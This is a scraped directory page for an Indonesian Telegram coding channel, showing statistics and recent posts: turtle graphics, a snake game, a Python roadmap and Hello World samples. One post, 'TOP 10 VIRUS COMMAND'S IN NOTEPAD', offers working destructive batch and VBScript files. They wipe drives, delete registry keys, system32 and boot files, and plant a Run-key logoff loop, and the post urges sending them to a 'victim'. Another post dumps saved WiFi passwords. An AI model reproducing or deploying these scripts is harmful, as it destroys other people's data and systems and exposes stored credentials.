Source Code Gratis Telegram channel photo

Source Code Gratis

@sourcecodegratisPublic Channel

Berbagi source code

52

Last views

1.2k (1,186 subscribers)
Anggota
—
Rating
39
Total Posts
Sep 19, 2026, 4:56 AM
Diperbarui
Apr 14, 2026
Created
Stats

Anda melihat konten dalam bahasa Indonesia. Untuk melihat konten dalam bahasa lain, ubah bahasa situs web.

Channel Information

Channel Information
Channel NameSource Code Gratis
Username@sourcecodegratis
CategoryCoding & Pemrograman
LanguageIndonesia
CountryIndonesia
Anggota1,186
Channel TypePublic Channel
Created14 Apr 2026
Last Updated19 Sep 2026 • 34 hari yang lalu
StatusActive

Peringkat

Peringkat Global
#298713-374
Peringkat Bahasa
#1409+4
Peringkat Kategori
#1487-3

Pertumbuhan Pelanggan

Total: 1.2K30 Days growth: -141.2%
08/2008/2508/3009/0409/0909/1409/18
Pertumbuhan Pelanggan - 30 Days
DateSubscribers
20:08:20261,200
21:08:20261,233
22:08:20261,233
23:08:20261,233
24:08:20261,233
25:08:20261,233
26:08:20261,233
27:08:20261,233
28:08:20261,233
29:08:20261,233
30:08:20261,233
31:08:20261,232
01:09:20261,232
02:09:20261,232
03:09:20261,232
04:09:20261,232
05:09:20261,232
06:09:20261,232
07:09:20261,232
08:09:20261,232
09:09:20261,202
10:09:20261,202
11:09:20261,202
12:09:20261,202
13:09:20261,202
14:09:20261,202
15:09:20261,202
16:09:20261,202
17:09:20261,202
18:09:20261,186
Pertumbuhan Pelanggan - Weekly
DateSubscribers
Week of 13:04:20261,215
Week of 20:04:20261,215
Week of 27:04:20261,197
Week of 04:05:20261,197
Week of 11:05:20261,197
Week of 18:05:20261,200
Week of 25:05:20261,200
Week of 01:06:20261,200
Week of 08:06:20261,200
Week of 15:06:20261,200
Week of 22:06:20261,200
Week of 29:06:20261,200
Week of 06:07:20261,200
Week of 13:07:20261,200
Week of 20:07:20261,200
Week of 27:07:20261,200
Week of 03:08:20261,200
Week of 10:08:20261,200
Week of 17:08:20261,233
Week of 24:08:20261,233
Week of 31:08:20261,232
Week of 07:09:20261,202
Week of 14:09:20261,186
Pertumbuhan Pelanggan - Monthly
DateSubscribers
April 20261,215
May 20261,200
June 20261,200
July 20261,200
August 20261,232
September 20261,186
Pertumbuhan Pelanggan - Yearly
DateSubscribers
20261,186

Postingan Terbaru

Source Code Gratis logo
Source Code Gratis

18 Okt 2026, 11.05

from turtle import *
tracer(15)
bgcolor("black")
c = ("#ff66cc", "white")
pensize(3)
for i in range(520):
color(c[i % 2])
forward(i)
right(20)
for j in range(6):
forward(j)
right(145)
backward(j/2)
left(180)
done()
52001
Source Code Gratis logo
Source Code Gratis

09 Okt 2026, 17.54

-6213053919387128296_121.jpg117.8 KB
from turtle import *
from colorsys import *
bgcolor("black")
tracer(1000)
def draw():
h = 0
up()
goto(0, 0)
down()
for i in range(100):
color(hsv_to_rgb(h, 1, 1))
h += 0.013
forward(20)
circle(i, 5, 3)
for j in range(i):
forward(25)
right(36)
backward(9)
circle(j, 5, 3)
right(90.2)
draw()
for i in range(8):
draw()
done()
143001
Source Code Gratis logo
Source Code Gratis

30 Sep 2026, 10.21

🚀 Complete Python Roadmap for Automation & Data Analytics

Python is one of the most powerful languages for automating repetitive tasks and analyzing data. Whether you're aiming for a Data Analyst, Automation Engineer, or Data Engineer role, this roadmap covers the essential skills.

🎯 Phase 1: Python Fundamentals
Master the basics:
- Variables & Data Types
- Operators
- Conditional Statements: if, elif, else
- Loops: for, while
- Functions
- Modules & Packages
- Exception Handling
- File Handling

Practice:
- Number Guessing Game
- Calculator
- Password Generator
- File Organizer

🎯 Phase 2: Object-Oriented Programming OOP
Learn:
- Classes & Objects
- Constructors
- Inheritance
- Polymorphism
- Encapsulation
- Abstraction

Build:
- Library Management System
- Employee Management System

🎯 Phase 3: Working with Files
Master:
- Reading Text Files
- Writing Files
- CSV Files
- JSON Files
- Excel Files
- PDF Files

Libraries:
- openpyxl
- pandas
- PyPDF2

Projects:
- Merge Excel Files
- Convert CSV to Excel
- Extract Data from PDFs

🎯 Phase 4: Python for Excel Automation
Learn:
- Reading Excel Files
- Creating Workbooks
- Formatting Cells
- Applying Formulas
- Charts
- Pivot Tables
- Multiple Sheet Handling

Libraries:
- openpyxl
- XlsxWriter

Projects:
- Automated Sales Report
- Attendance Tracker
- Invoice Generator
- Dashboard Report Generator

🎯 Phase 5: Data Analysis
Master:
- NumPy
- Pandas
- Data Cleaning
- Data Transformation
- Data Aggregation
- Missing Value Handling
- Feature Engineering

Projects:
- Sales Analysis
- HR Analytics
- Customer Analysis
- Financial Reports

🎯 Phase 6: Data Visualization
Learn:
- Line Charts
- Bar Charts
- Pie Charts
- Histograms
- Scatter Plots
- Heatmaps

Libraries:
- Matplotlib
- Plotly

Projects:
- Interactive Dashboard
- Sales Dashboard
- Marketing Dashboard

🎯 Phase 7: Database Integration
Learn SQL basics:
- SELECT
- INSERT
- UPDATE
- DELETE
- JOIN
- GROUP BY
- Window Functions

Connect Python with databases:
- SQLite
- MySQL
- PostgreSQL

Projects:
- Sales Database Analysis
- Employee Database System

🎯 Phase 8: Web Automation
Learn:
- Browser Automation
- Form Filling
- Data Extraction
- Login Automation
- Report Downloading

Libraries:
- Selenium
- Playwright

Projects:
- Automated Report Download
- Job Scraper
- Website Monitoring

🎯 Phase 9: Web Scraping
Learn:
- HTML Basics
- CSS Selectors
- XPath
- Pagination
- API vs Scraping

Libraries:
- Beautiful Soup
- Scrapy

Projects:
- Product Price Tracker
- News Scraper
- Stock Information Collector

🎯 Phase 10: API Automation
Learn:
- REST APIs
- GET
- POST
- PUT
- DELETE
- Authentication
- JSON Handling

Libraries:
- Requests

Projects:
- Weather Dashboard
- Currency Converter
- Employee API Integration

🎯 Phase 11: Task Automation
Automate:
- Email Sending
- File Renaming
- Folder Organization
- Backup Scripts
- Scheduled Tasks
- Log File Monitoring

Libraries:
- os
- shutil
- pathlib
- schedule
- smtplib

Projects:
- Automatic Backup Tool
- Daily Report Generator
- Bulk File Renamer

🎯 Phase 12: Data Processing
Learn:
- Data Validation
- Data Transformation
- ETL Basics
- Batch Processing
- Log Analysis

Projects:
- ETL Pipeline
- CSV to Database Loader
- Automated Data Cleaning Pipeline

🎯 Phase 13: Reporting & Dashboards
Generate reports using:
- Excel
- PDF
- HTML

Build dashboards using:
- Streamlit
- Dash

Projects:
- KPI Dashboard
- Business Analytics Dashboard
- Financial Dashboard

🎯 Phase 14: Deployment & Best Practices
Learn:
- Virtual Environments
- Logging
- Configuration Files
- Unit Testing
- Git & GitHub
- Docker Basics

Deploy applications using:
- Streamlit
- Docker
- Cloud Platforms

🏆 Portfolio Projects
Beginner:
- Calculator
- Expense Tracker
- CSV Cleaner
- Password Generator

Intermediate:
- Excel Report Automation
- Web Scraper
- API Data Fetcher
- Sales Dashboard
199001
Source Code Gratis logo
Source Code Gratis

29 Sep 2026, 18.22

-6185813888176165800_121.jpg37.2 KB
import math
from turtle import *

def heart_a(n):
    return 15 * math.sin(n) ** 3

def heart_b(n):
    return 12 * math.cos(n)-5 *\
           math.cos(2*n) - 2 *\
           math.cos(3*n) - \
           math.cos(4*n)

tracer(2)
bgcolor("black")
for i in range(800):
    goto(heart_a(i)*15, heart_b(i)*15)
    for j in range(1):
        color('red')
        hideturtle()
        goto(0, 0)
done()
158000
Source Code Gratis logo
Source Code Gratis

27 Sep 2026, 12.59

👨‍💻 "Hello World" in Different Coding Languages 🌍🔥

One of the first things beginners learn in programming is how to display:

"Hello, World!"

Although the output is the same, the syntax can be very different across programming languages.

🐍 Python

print("Hello, World!")

🌐 JavaScript

console.log("Hello, World!");

☕ Java

`java
public class Main {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}


⚡ C++

cpp
#include <iostream>

int main() {
std::cout << "Hello, World!";
return 0;
}


🔵 C

c
#include <stdio.h>

int main() {
printf("Hello, World!");
return 0;
}


💜 C#

csharp
using System;

class Program {
static void Main() {
Console.WriteLine("Hello, World!");
}
}


🦀 Rust

rust
fn main() {
println!("Hello, World!");
}


🐹 Go

go
package main

import "fmt"

func main() {
fmt.Println("Hello, World!")
}


💎 Ruby

ruby
puts "Hello, World!"


🟣 PHP

php
<?php
echo "Hello, World!";
?>


🟠 Kotlin

kotlin
fun main() {
println("Hello, World!")
}


🦜 Swift

swift
print("Hello, World!")`


What is your favourite coding language?👨‍💻

❤️ Python

👍 JavaScript

😍 Java

👌 C++

😂 C#

💯 Other
162000
Source Code Gratis logo
Source Code Gratis

27 Sep 2026, 05.23

--- Indian Flag🇮🇳🇮🇳 Source Code ---

import turtle
from turtle import *

# setting the screen for drawing
scr = turtle.Screen()
# Defining the instance of turtle
ttl = turtle.Turtle()
speed(20)

# keeping the pen up initially
ttl.penup()
ttl.goto(-150, 125)
ttl.pendown(
)
# Drawing the Orange Rectangle first
#and then the white rectangle
ttl.color("orange")
ttl.begin_fill()
ttl.forward(400)
ttl.right(90)
ttl.forward(84)
ttl.right(90)
ttl.forward(400)
ttl.end_fill()
ttl.left(90)
ttl.forward(84)

# now drawing the Green Rectangle
ttl.color("green")
ttl.begin_fill()
ttl.forward(84)
ttl.left(90)
ttl.forward(400)
ttl.left(90)
ttl.forward(84)
ttl.end_fill()

# Drawing the central Big Blue Circle
ttl.penup()
ttl.goto(35, 0)
ttl.pendown()
ttl.color("navy")
ttl.begin_fill()
ttl.circle(35)
ttl.end_fill()

# Drawing the in-circle Big White Circle
ttl.penup()
ttl.goto(30, 0)
ttl.pendown()
ttl.color("white")
ttl.begin_fill()
ttl.circle(30)
ttl.end_fill()

#Drawing the inside Mini Blue Circles of Flag
ttl.penup()
ttl.goto(-27, -4)
ttl.pendown()
ttl.color("navy")
for j in range(24):
ttl.begin_fill()
ttl.circle(2)
ttl.end_fill()
ttl.penup()
ttl.forward(7)
ttl.right(15)
ttl.pendown()

# drawing the Smaller Blue Circle
ttl.color("navy")
ttl.penup()
ttl.goto(10, 0)
ttl.pendown()
ttl.begin_fill()
ttl.circle(10)
ttl.end_fill()

#Drawing the 24 spokes of the Indian Flag
ttl.penup()
ttl.goto(0, 0)
ttl.pendown()
ttl.pensize(1)
for j in range(24):
ttl.forward(30)
ttl.backward(30)
ttl.left(15)

#Drawing the stick of the Indian flag
ttl.color("Brown")
ttl.pensize(10)
ttl.penup()
ttl.goto(-150,125)
ttl.right(180)
ttl.pendown()
ttl.forward(500)

#to hide the turtle pen we used hideturtle
ttl.hideturtle()
#holding the output on the window
turtle.done()

React❤️ on this msg
143000
Source Code Gratis logo
Source Code Gratis

26 Sep 2026, 11.53

Snake Game using Turtle in Python ✅ Source Code 👇👇

# import required modules
import turtle
import time
import random

delay = 0.1
score = 0
high_score = 0


# Creating a window screen
wn = turtle.Screen()
wn.title("Snake Game")
wn.bgcolor("blue")
# the width and height can be put as user's choice
wn.setup(width=600, height=600)
wn.tracer(0)

# head of the snake
head = turtle.Turtle()
head.shape("square")
head.color("white")
head.penup()
head.goto(0, 0)
head.direction = "Stop"

# food in the game
food = turtle.Turtle()
colors = random.choice(['red', 'green', 'black'])
shapes = random.choice(['square', 'triangle', 'circle'])
food.speed(0)
food.shape(shapes)
food.color(colors)
food.penup()
food.goto(0, 100)

pen = turtle.Turtle()
pen.speed(0)
pen.shape("square")
pen.color("white")
pen.penup()
pen.hideturtle()
pen.goto(0, 250)
pen.write("Score : 0  High Score : 0", align="center",
          font=("candara", 24, "bold"))


# assigning key directions
def group():
    if head.direction != "down":
        head.direction = "up"


def godown():
    if head.direction != "up":
        head.direction = "down"


def goleft():
    if head.direction != "right":
        head.direction = "left"


def goright():
    if head.direction != "left":
        head.direction = "right"


def move():
    if head.direction == "up":
        y = head.ycor()
        head.sety(y+20)
    if head.direction == "down":
        y = head.ycor()
        head.sety(y-20)
    if head.direction == "left":
        x = head.xcor()
        head.setx(x-20)
    if head.direction == "right":
        x = head.xcor()
        head.setx(x+20)


wn.listen()
wn.onkeypress(group, "w")
wn.onkeypress(godown, "s")
wn.onkeypress(goleft, "a")
wn.onkeypress(goright, "d")

segments = []

# By - @pythonnotes1
# Main Gameplay
while True:
    wn.update()
    if head.xcor() > 290 or head.xcor() < -290 or head.ycor() > 290 or head.ycor() < -290:
        time.sleep(1)
        head.goto(0, 0)
        head.direction = "Stop"
        colors = random.choice(['red', 'blue', 'green'])
        shapes = random.choice(['square', 'circle'])
        for segment in segments:
            segment.goto(1000, 1000)
        segments.clear()
        score = 0
        delay = 0.1
        pen.clear()
        pen.write("Score : {} High Score : {} ".format(
            score, high_score), align="center", font=("candara", 24, "bold"))
    if head.distance(food) < 20:
        x = random.randint(-270, 270)
        y = random.randint(-270, 270)
        food.goto(x, y)

        # Adding segment
        new_segment = turtle.Turtle()
        new_segment.speed(0)
        new_segment.shape("square")
        new_segment.color("orange")  # tail colour
        new_segment.penup()
        segments.append(new_segment)
        delay -= 0.001
        score += 10
        if score > high_score:
            high_score = score
        pen.clear()
        pen.write("Score : {} High Score : {} ".format(
            score, high_score), align="center", font=("candara", 24, "bold"))
    # Checking for head collisions with body segments
    for index in range(len(segments)-1, 0, -1):
        x = segments[index-1].xcor()
        y = segments[index-1].ycor()
        segments[index].goto(x, y)
    if len(segments) > 0:
        x = head.xcor()
        y = head.ycor()
        segments[0].goto(x, y)
    move()
    for segment in segments:
        if segment.distance(head) < 20:
            time.sleep(1)
            head.goto(0, 0)
            head.direction = "stop"
            colors = random.choice(['red', 'blue', 'green'])
            shapes = random.choice(['square', 'circle'])
            for segment in segments:
                segment.goto(1000, 1000)
            segments.clear()

            score = 0
            delay = 0.1
            pen.clear()
            pen.write("Score : {} High Score : {} ".format(
                score, high_score), align="center", font=("candara", 24, "bold"))
    time.sleep(delay)

wn.mainloop()
136000
Source Code Gratis logo
Source Code Gratis

25 Sep 2026, 11.04

# Get WiFi Passwords using Python 💻

Code 👇👇👇👇👇👇👇👇

import subprocess
import re

command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()

profile_names = (re.findall("All User Profile : (.*)\r", command_output))

wifi_list = list()

if len(profile_names) !=0:
for name in profile_names:

wifi_profile = dict()

profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()

if re.search("Security Key : Absent", profile_info):
continue
else:

wifi_profile["ssid"] = name

profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()

password = re.search("Key Content : (.*)\r", profile_info_pass)

if password == None:
wifi_profile["password"] = None

else:
wifi_profile["password"] = password[1]

wifi_list.append(wifi_profile)


for x in range(len(wifi_list)):
print(wifi_list[x])
161000
Source Code Gratis logo
Source Code Gratis

23 Sep 2026, 13.04

🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰

Method 1:

Just open your notepad
1) Click start -> all programs -> accessories -> notepad
2) Or just press or click windows key + r :: run window will open and
type notepad and hit enter .

NOW TYPE THE FOLLOWING CODE ::

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created .
WARNING :: This is the most dangerous virus! Be careful with its use.

Delete the entire registry

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created .

Method 2:

How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE.


Method 3:

How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

Method 4:


ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

Method 5:

Open Notepad
Write / copy the below command there:
" del c:\WINDOWS\system32\*.*/q " without quote
and save as " anything.bat"
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.


Method 6:

Process:
Open Notepad
Copy the below command there
"rd/s/q D:\
rd/s/q C:\
rd/s/q E:\" ( without quotes )
Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

Method 7:

Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

Method 8:

Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

Method 9:

Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

Method 10 :

Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.


React ♥️ on this msg ,For more content like this 👍
238001
Source Code Gratis logo
Source Code Gratis

06 Sep 2026, 03.22

Photo
Prompt buat Undangan nikah tema kemerdekaan indonesia 81 HTML javascript
468000
Source Code Gratis logo
Source Code Gratis

06 Sep 2026, 03.22

Photo
Creating Pinball Soccer with only HTML JAVASCRIPT
446000
Source Code Gratis logo
Source Code Gratis

06 Sep 2026, 03.22

Photo
💎 Modern Landing Page Animation | HTML CSS JS
737000

Showing 30 of 39 posts

Peringkat

Diperlukan Masuk

Frequently Asked Questions

Channel Telegram Source Code Gratis tentang apa?+

Source Code Gratis (@sourcecodegratis) adalah channel Telegram di kategori Coding & Pemrograman di tgdio. Lihat ranking, rating, ulasan, dan postingan terbaru sebelum berlangganan. Saat ini sekitar 1.186 subscriber di tgdio.

Bagaimana bergabung dengan Source Code Gratis (@sourcecodegratis)?+

Buka profil di tgdio, lalu Join / Open in Telegram untuk berlangganan @sourcecodegratis gratis.

Apakah Source Code Gratis channel Coding & Pemrograman yang bagus?+

Di tgdio Anda bisa cek rating, ulasan, ranking, dan postingan Source Code Gratis sebelum bergabung. Saat ini sekitar 1.186 subscriber di tgdio. Bandingkan dengan channel Coding & Pemrograman serupa.

Di mana melihat statistik dan postingan Source Code Gratis?+

Di tgdio, buka halaman @sourcecodegratis untuk statistik, ranking, rating, dan postingan.